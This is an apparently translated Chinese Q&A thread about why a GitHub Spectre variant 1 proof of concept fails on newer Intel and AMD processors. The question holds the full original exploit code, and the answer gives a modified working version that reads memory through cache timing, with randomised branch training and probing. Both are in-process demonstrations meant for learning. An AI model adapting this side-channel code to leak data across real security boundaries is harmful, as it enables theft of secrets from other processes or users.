1

我知道 Spectre 是如何工作的，我在 GitHub 上找到了一个程序来演示它是如何工作的。但在我的电脑上 win 10 21h2（i5-11400F、i5-9600K、R7-5800hs）它不起作用，它只会给出问题，但在 i5-7500U 上它也适用于 win 10。我知道有补丁和修复2018 年之后，但它们都防止访问其他程序，在这种情况下，幽灵收到的数据是由同一程序创建的，因此保护不应该影响结果。问题：

  1. 这个程序可以在新处理器上运行吗？
  2. 它的参数负责什么（为什么要采用这种大小的数组）？

来自GitHub的代码：

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
        1,
        2,
        3,
        4,
        5,
        6,
        7,
        8,
        9,
        10,
        11,
        12,
        13,
        14,
        15,
        16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i, junk = 0;
    size_t training_x, x;
    uint64_t time1, time2;
    volatile uint8_t * addr;

    for (i = 0; i < 256; i++)
        results[i] = 0;
    for (tries = 999; tries > 0; tries--) {

        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
            _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush( & array1_size);
            for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
            /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

            /* Call the victim! */
            victim_function(x);

        }

        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = & array2[mix_i * 512];
            time1 = __rdtsc(); /* READ TIMER */
            junk = * addr; /* MEMORY ACCESS TO TIME */
            time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
        }

        /* Locate highest & second-highest results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            } else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above won’t get optimized out*/
    value[0] = (uint8_t) j;
    score[0] = results[j];
    value[1] = (uint8_t) k;
    score[1] = results[k];
}

int main(int argc,
         const char * * argv) {
    size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
    int i, score[2], len = 40;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
        sscanf(argv[1], "%p", (void * * )( & malicious_x));
        malicious_x -= (size_t) array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", & len);
    }

    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
        printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return (0);
}
4

1 回答 1

1

Spectre 漏洞也适用于新处理器，所有保护措施都旨在防止接收来自其他程序的数据，但此示例适用于任何地方，因为一切都在一个程序中，我对操作系统没有太多了解，但它是如果攻击程序在受害者自身内部启动程序，那么就有可能从受害者的程序中获取数据。

更改：我删除了我认为程序运行不必要的多余部分，Score。我还重新进行了预测器训练，在我看来，在有问题的程序中，新处理器预测了周期并对其进行了优化，我决定使用 rand 这样优化是不可能的，我在部分中做了同样的事情用于从缓存中读取数据。我也删除了

 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 
   break;

它需要加速程序，但它的第二部分在我看来不太正确，最后我完全删除了它，因为程序已经运行得足够快了。好吧，我改变了设置输入数据和输出数据选项的方式。

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> // работа с кэшем win
#else
#include <x86intrin.h> //работа с кэшем
#endif
const unsigned int Time_To_Cashe = 160;
unsigned int array1_size = 5;
uint8_t trash[5] = { 1, 2, 3, 4, 5};// мусор для тренировок
uint8_t array2[256 * 512];
uint8_t temp;

void victim_function(size_t x) {//а вот и сам спектр 
  if (x < array1_size) {
    temp = array2[trash[x] * 512];
  }
}

uint8_t readMemoryByte(int cache_hit_threshold, size_t attack_x) {
  int results[256] = {0};
  int tries, i, max, sim;
  size_t train_x, x;
  register uint64_t Start, Time;
  volatile uint8_t *rd;

  for (tries = 500; tries > 0; tries--) { 
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); //удаляем из кэша array2
    /* тренирум 3 раза, на 4й атакуем, повторяем 6 раз*/
    train_x = tries % array1_size;
    for (int j = 31; j >= 0; j--) {
      _mm_clflush(&array1_size);
      x = ((rand() + 1) * (j % 4)) % 4 - 1;
      x = train_x ^ (x & (attack_x ^ train_x));// при i % 4 == 0 атакуем 
      victim_function(x);
    }
    for (i = 0; i < 256; i++) {
      sim = rand() % 256; // считываем рандомно, чтобы процессор не смог оптимизировать код,
      //ничего страшного если чтото мы прочтем несколько раз или не прочтем, из-за большого tries мы в любом случаее прочтем все 
      rd = & array2[sim * 512];

      Start = __rdtscp(rd); // замеряем время доступа
      int tmp = *rd; //обновляем addr
      Time = __rdtscp(rd) - Start;
      if ((int)Time <= cache_hit_threshold && sim != trash[train_x]) // определяем где находятся данные в кэше ил в ОЗУ
        results[sim]++; //увеличиваем встречаемость символа
    }

    max = -1;
    for (i = 0; i < 256; i++) {
      if (max < 0 || results[i] >= results[max]) {
        max = i;
      }
    }
  }
  return max;//возвращаем символ с макс частотой
}

inline void print(char c, FILE *out) {
  if (out == NULL) {
    printf("%c", c);
  }
  else {
    fprintf(out, "%c", c);
  }
}

int main(int argc, char **argv) {
  int cache_hit_threshold = Time_To_Cashe;
  const char* secret = argv[1];
  size_t malicious_x = (size_t)(secret - (char * ) trash);
  int len = strlen(secret);
  FILE* out = NULL;
  if (argc == 3) {
    out = fopen(argv[2], "w");
  }
  for (int i = 0; i < (int)sizeof(array2); i++) {
    array2[i] = 1; // заполняем 1ми, чтобы в озу не было 0
  }
   
  while (--len >= 0) {//считываем попорядку, по 1 букве
    int tmp = readMemoryByte(cache_hit_threshold, malicious_x++);
    print(tmp, out);
  }
  if (out != NULL) {
    fclose(out);
  }
  return 0;
}

我可能在很多地方都错了，所以如果我在某个地方撒谎或犯了错误，请纠正我。

于 2022-01-22T16:15:41.400 回答